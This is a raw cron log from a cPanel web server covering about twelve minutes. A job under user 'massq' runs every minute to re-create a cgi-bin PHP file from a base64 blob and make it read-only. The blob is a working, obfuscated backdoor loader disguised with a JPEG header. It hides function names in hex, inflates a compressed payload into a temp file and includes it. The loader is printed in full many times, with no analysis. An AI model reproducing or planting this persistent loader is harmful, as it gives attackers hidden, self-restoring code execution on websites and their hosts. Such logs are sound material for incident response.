Aug 31 13:38:01 server CROND[20204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:38:01 server CROND[20205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:38:01 server CROND[20203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:39:01 server CROND[20593]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 13:39:01 server CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:39:01 server CROND[20594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:39:01 server CROND[20596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:40:01 server CROND[21012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:40:01 server CROND[21014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:40:01 server CROND[21015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:40:01 server CROND[21016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:40:01 server CROND[21017]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:40:01 server CROND[21018]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:40:01 server CROND[21026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:40:01 server CROND[21019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:41:01 server CROND[21866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:41:01 server CROND[21867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:41:01 server CROND[21868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:42:01 server CROND[22308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:42:01 server CROND[22312]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:42:01 server CROND[22310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:42:01 server CROND[22309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:43:01 server CROND[22856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:43:01 server CROND[22857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:43:01 server CROND[22858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:44:01 server CROND[23348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:44:01 server CROND[23349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:44:01 server CROND[23350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:45:01 server CROND[23746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:45:01 server CROND[23745]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:45:01 server CROND[23749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:45:01 server CROND[23747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:45:01 server CROND[23748]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:45:01 server CROND[23750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:45:01 server CROND[23751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:46:01 server CROND[24585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:46:01 server CROND[24586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:46:01 server CROND[24587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:47:01 server CROND[24973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:47:01 server CROND[24974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:47:01 server CROND[24975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:48:01 server CROND[25362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:48:01 server CROND[25363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:48:01 server CROND[25364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:49:01 server CROND[25844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:49:01 server CROND[25845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:49:01 server CROND[25846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:50:01 server CROND[26236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:50:01 server CROND[26237]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:50:01 server CROND[26241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:50:01 server CROND[26247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
